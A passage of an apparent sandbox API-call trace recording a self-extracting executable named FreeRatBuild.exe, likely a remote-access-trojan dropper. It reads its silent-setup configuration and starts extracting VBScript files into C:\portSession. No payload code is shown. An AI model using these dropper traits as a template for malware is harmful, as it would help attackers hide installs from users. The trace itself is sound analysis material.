lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0070.630] ExpandEnvironmentStringsW (in: lpSrc="\"C:/portSession/\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"C:/portSession/\"") returned 0x12 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0070.630] ExpandEnvironmentStringsW (in: lpSrc="lBH8Ae92LPQZTdOYGlDr.vbe", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="lBH8Ae92LPQZTdOYGlDr.vbe") returned 0x19 [0070.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.631] ExpandEnvironmentStringsW (in: lpSrc="\"file.vbs\"", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="\"file.vbs\"") returned 0xb [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0070.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0070.632] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x14de3c, nSize=0x1000 | out: lpDst="U") returned 0x2 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0070.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0070.633] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x40) returned 0x4bce248 [0070.633] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x5e) returned 0x4bf5168 [0070.633] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x10c0) returned 0x4bf9808 [0070.633] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x10c0) returned 0x4bfa8d0 [0070.633] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xe6e0) returned 0x4bfb998 [0070.633] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x8003) returned 0x4c0a080 [0070.634] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x8003) returned 0x4c12090 [0070.635] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x338) returned 0x4bf55a0 [0070.635] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=64, lpName=0x0) returned 0x28 [0070.635] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x23c [0070.635] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe"), lpFindFileData=0x1677d4 | out: lpFindFileData=0x1677d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8b24a00, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xb94ae080, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xc7920000, ftLastWriteTime.dwHighDateTime=0x1d9eafd, nFileSizeHigh=0x0, nFileSizeLow=0x23e134, dwReserved0=0x0, dwReserved1=0x0, cFileName="FreeRatBuild.exe", cAlternateFileName="FREERA~1.EXE")) returned 0x4bf8d30 [0070.636] FindClose (in: hFindFile=0x4bf8d30 | out: hFindFile=0x4bf8d30) returned 1 [0070.636] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x10c0) returned 0x4c1a0a0 [0070.636] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x10c0) returned 0x4c1b168 [0070.636] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x240 [0070.636] ReadFile (in: hFile=0x240, lpBuffer=0x160ee0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15ec58, lpOverlapped=0x0 | out: lpBuffer=0x160ee0*, lpNumberOfBytesRead=0x15ec58*=0x7, lpOverlapped=0x0) returned 1 [0070.638] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x200000) returned 0x7c4b020 [0070.646] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec8c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ec8c*=0) returned 0x7 [0070.646] ReadFile (in: hFile=0x240, lpBuffer=0x7c4b020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x15ec58, lpOverlapped=0x0 | out: lpBuffer=0x7c4b020*, lpNumberOfBytesRead=0x15ec58*=0x1ffff0, lpOverlapped=0x0) returned 1 [0070.711] SetFilePointer (in: hFile=0x240, lDistanceToMove=307200, lpDistanceToMoveHigh=0x15ec6c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ec6c*=0) returned 0x4b000 [0070.711] ReadFile (in: hFile=0x240, lpBuffer=0x160ee0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15ec58, lpOverlapped=0x0 | out: lpBuffer=0x160ee0*, lpNumberOfBytesRead=0x15ec58*=0x7, lpOverlapped=0x0) returned 1 [0070.725] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c4b020 | out: hHeap=0x4bc0000) returned 1 [0070.742] ReadFile (in: hFile=0x240, lpBuffer=0x160ee7, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15ec58, lpOverlapped=0x0 | out: lpBuffer=0x160ee7*, lpNumberOfBytesRead=0x15ec58*=0x1, lpOverlapped=0x0) returned 1 [0070.742] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ec80*=0) returned 0x4b008 [0070.742] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94c8 [0070.742] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94c8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb40, lpOverlapped=0x0 | out: lpBuffer=0x4bd94c8*, lpNumberOfBytesRead=0x15cb40*=0x7, lpOverlapped=0x0) returned 1 [0070.742] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94cf, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x15cb40, lpOverlapped=0x0 | out: lpBuffer=0x4bd94cf*, lpNumberOfBytesRead=0x15cb40*=0xa, lpOverlapped=0x0) returned 1 [0070.743] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd94c8 | out: hHeap=0x4bc0000) returned 1 [0070.743] SetFilePointer (in: hFile=0x240, lDistanceToMove=307225, lpDistanceToMoveHigh=0x15ec60*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ec60*=0) returned 0x4b019 [0070.743] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec8c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ec8c*=0) returned 0x4b019 [0070.743] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ec80*=0) returned 0x4b019 [0070.743] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94c8 [0070.743] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94c8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb40, lpOverlapped=0x0 | out: lpBuffer=0x4bd94c8*, lpNumberOfBytesRead=0x15cb40*=0x7, lpOverlapped=0x0) returned 1 [0070.743] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94cf, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x15cb40, lpOverlapped=0x0 | out: lpBuffer=0x4bd94cf*, lpNumberOfBytesRead=0x15cb40*=0x11, lpOverlapped=0x0) returned 1 [0070.744] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd94c8 | out: hHeap=0x4bc0000) returned 1 [0070.744] SetFilePointer (in: hFile=0x240, lDistanceToMove=307352, lpDistanceToMoveHigh=0x15ec60*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ec60*=0) returned 0x4b098 [0070.744] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ec80*=0) returned 0x4b098 [0070.744] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94c8 [0070.744] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94c8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb40, lpOverlapped=0x0 | out: lpBuffer=0x4bd94c8*, lpNumberOfBytesRead=0x15cb40*=0x7, lpOverlapped=0x0) returned 1 [0070.744] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd94c8, Size=0x48) returned 0x4bea190 [0070.744] ReadFile (in: hFile=0x240, lpBuffer=0x4bea197, nNumberOfBytesToRead=0x21, lpNumberOfBytesRead=0x15cb40, lpOverlapped=0x0 | out: lpBuffer=0x4bea197*, lpNumberOfBytesRead=0x15cb40*=0x21, lpOverlapped=0x0) returned 1 [0070.745] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bea190 | out: hHeap=0x4bc0000) returned 1 [0070.745] SetFilePointer (in: hFile=0x240, lDistanceToMove=307225, lpDistanceToMoveHigh=0x15ec6c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ec6c*=0) returned 0x4b019 [0070.745] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15eca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15eca8*=0) returned 0x4b019 [0070.745] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x15ec88*=0) returned 0x23e134 [0070.745] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15eca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15eca8*=0) returned 0x23e134 [0070.745] SetFilePointer (in: hFile=0x240, lDistanceToMove=307225, lpDistanceToMoveHigh=0x15ec88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ec88*=0) returned 0x4b019 [0070.745] GetSystemTime (in: lpSystemTime=0x15ecac | out: lpSystemTime=0x15ecac*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0xf, wMinute=0xd, wSecond=0x33, wMilliseconds=0x379)) [0070.745] SystemTimeToFileTime (in: lpSystemTime=0x15ecac, lpFileTime=0x15ecbc | out: lpFileTime=0x15ecbc) returned 1 [0070.745] LoadStringW (in: hInstance=0xa10000, uID=0x8d, lpBuffer=0xa52798, cchBufferMax=1024 | out: lpBuffer="Extracting from %s") returned 0x12 [0070.745] GetLastError () returned 0x0 [0070.745] SetLastError (dwErrCode=0x0) [0070.745] PeekMessageW (in: lpMsg=0x15d82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15d82c) returned 1 [0070.746] GetMessageW (in: lpMsg=0x15d82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15d82c) returned 1 [0070.746] IsDialogMessageW (hDlg=0x701ec, lpMsg=0x15d82c) returned 0 [0070.746] TranslateMessage (lpMsg=0x15d82c) returned 0 [0070.746] DispatchMessageW (lpMsg=0x15d82c) returned 0x0 [0070.746] GetDlgItem (hDlg=0x701ec, nIDDlgItem=104) returned 0x302ec [0070.746] SendMessageW (hWnd=0x302ec, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x2b [0070.746] SendMessageW (hWnd=0x302ec, Msg=0x43a, wParam=0x0, lParam=0x15d860) returned 0xf800003f [0070.746] SendMessageW (hWnd=0x302ec, Msg=0x444, wParam=0x1, lParam=0x15d860) returned 0x1 [0070.747] SendMessageW (hWnd=0x302ec, Msg=0xc2, wParam=0x0, lParam=0x15d8c8) returned 0x20 [0070.748] SendMessageW (hWnd=0x302ec, Msg=0xb1, wParam=0x5f5e100, lParam=0x5f5e100) returned 0x4b [0070.748] SendMessageW (hWnd=0x302ec, Msg=0xc2, wParam=0x0, lParam=0xa4431c) returned 0x1 [0070.749] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec9c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ec9c*=0) returned 0x4b019 [0070.749] SetFilePointer (in: hFile=0x240, lDistanceToMove=307225, lpDistanceToMoveHigh=0x15ec68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ec68*=0) returned 0x4b019 [0070.749] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ec68*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ec68*=0) returned 0x4b019 [0070.749] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94a0 [0070.749] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb28, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a0*, lpNumberOfBytesRead=0x15cb28*=0x7, lpOverlapped=0x0) returned 1 [0070.749] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a7, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x15cb28, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a7*, lpNumberOfBytesRead=0x15cb28*=0x11, lpOverlapped=0x0) returned 1 [0070.750] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd94a0 | out: hHeap=0x4bc0000) returned 1 [0070.750] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x8003) returned 0x4c1c230 [0070.751] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x8003) returned 0x4c24240 [0070.751] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x40000) returned 0x4c2c250 [0070.756] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x67) returned 0x4bf5258 [0070.756] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xb54) returned 0x4c6c258 [0070.756] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x100000) returned 0x7c44020 [0070.759] ReadFile (in: hFile=0x240, lpBuffer=0x7c44020, nNumberOfBytesToRead=0x67, lpNumberOfBytesRead=0x1504b0, lpOverlapped=0x0 | out: lpBuffer=0x7c44020*, lpNumberOfBytesRead=0x1504b0*=0x67, lpOverlapped=0x0) returned 1 [0070.759] PeekMessageW (in: lpMsg=0x1504bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1504bc) returned 0 [0070.759] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.759] PeekMessageW (in: lpMsg=0x1504c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1504c8) returned 0 [0070.759] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.759] PeekMessageW (in: lpMsg=0x1504b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1504b4) returned 0 [0070.759] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.769] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c44020 | out: hHeap=0x4bc0000) returned 1 [0070.775] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c2c250 | out: hHeap=0x4bc0000) returned 1 [0070.776] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c24240 | out: hHeap=0x4bc0000) returned 1 [0070.782] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4c1c230 | out: hHeap=0x4bc0000) returned 1 [0070.786] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bf5258, Size=0xa0) returned 0x4bf5258 [0070.786] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xd0) returned 0x4bc1830 [0070.786] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bf5258 | out: hHeap=0x4bc0000) returned 1 [0070.786] SetFilePointer (in: hFile=0x240, lDistanceToMove=307225, lpDistanceToMoveHigh=0x15ec7c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x15ec7c*=0) returned 0x4b019 [0070.787] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bc1830 | out: hHeap=0x4bc0000) returned 1 [0070.787] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ecd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ecd0*=0) returned 0x4b019 [0070.787] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94a0 [0070.787] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a0*, lpNumberOfBytesRead=0x15cb90*=0x7, lpOverlapped=0x0) returned 1 [0070.787] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a7, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a7*, lpNumberOfBytesRead=0x15cb90*=0x11, lpOverlapped=0x0) returned 1 [0070.788] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd94a0 | out: hHeap=0x4bc0000) returned 1 [0070.788] SetFilePointer (in: hFile=0x240, lDistanceToMove=307352, lpDistanceToMoveHigh=0x159ae4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159ae4*=0) returned 0x4b098 [0070.788] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ecd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ecd0*=0) returned 0x4b098 [0070.788] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94a0 [0070.788] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a0*, lpNumberOfBytesRead=0x15cb90*=0x7, lpOverlapped=0x0) returned 1 [0070.788] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd94a0, Size=0x48) returned 0x4bea190 [0070.788] ReadFile (in: hFile=0x240, lpBuffer=0x4bea197, nNumberOfBytesToRead=0x21, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bea197*, lpNumberOfBytesRead=0x15cb90*=0x21, lpOverlapped=0x0) returned 1 [0070.789] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bea190 | out: hHeap=0x4bc0000) returned 1 [0070.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="file.vbs", cchCount2=1) returned 1 [0070.789] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0070.790] GetProcAddress (hModule=0x74ec0000, lpProcName="CharUpperW") returned 0x74ee0010 [0070.790] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x157a18 | out: lpflOldProtect=0x157a18*=0x4) returned 1 [0070.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="file.vbs", cchCount2=-1) returned 1 [0070.790] SetFilePointer (in: hFile=0x240, lDistanceToMove=307392, lpDistanceToMoveHigh=0x159af0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159af0*=0) returned 0x4b0c0 [0070.790] LoadStringW (in: hInstance=0xa10000, uID=0x65, lpBuffer=0xa52f98, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0070.790] GetLastError () returned 0x6 [0070.791] SetLastError (dwErrCode=0x6) [0070.791] SetDlgItemTextW (hDlg=0x701ec, nIDDlgItem=101, lpString="Extracting file.vbs") returned 1 [0070.791] PeekMessageW (in: lpMsg=0x1586dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1586dc) returned 0 [0070.791] FindFirstFileW (in: lpFileName="file.vbs" (normalized: "c:\\portsession\\file.vbs"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0070.791] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x157880 | out: lpBuffer="C:\\portSession") returned 0xe [0070.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\portSession\\file.vbs" (normalized: "c:\\portsession\\file.vbs"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0070.791] GetLastError () returned 0x2 [0070.792] GetFileAttributesW (lpFileName="file.vbs" (normalized: "c:\\portsession\\file.vbs")) returned 0xffffffff [0070.792] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x156a48 | out: lpBuffer="C:\\portSession") returned 0xe [0070.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\portSession\\file.vbs" (normalized: "c:\\portsession\\file.vbs")) returned 0xffffffff [0070.792] CreateFileW (lpFileName="file.vbs" (normalized: "c:\\portsession\\file.vbs"), dwDesiredAccess=0x40000000, 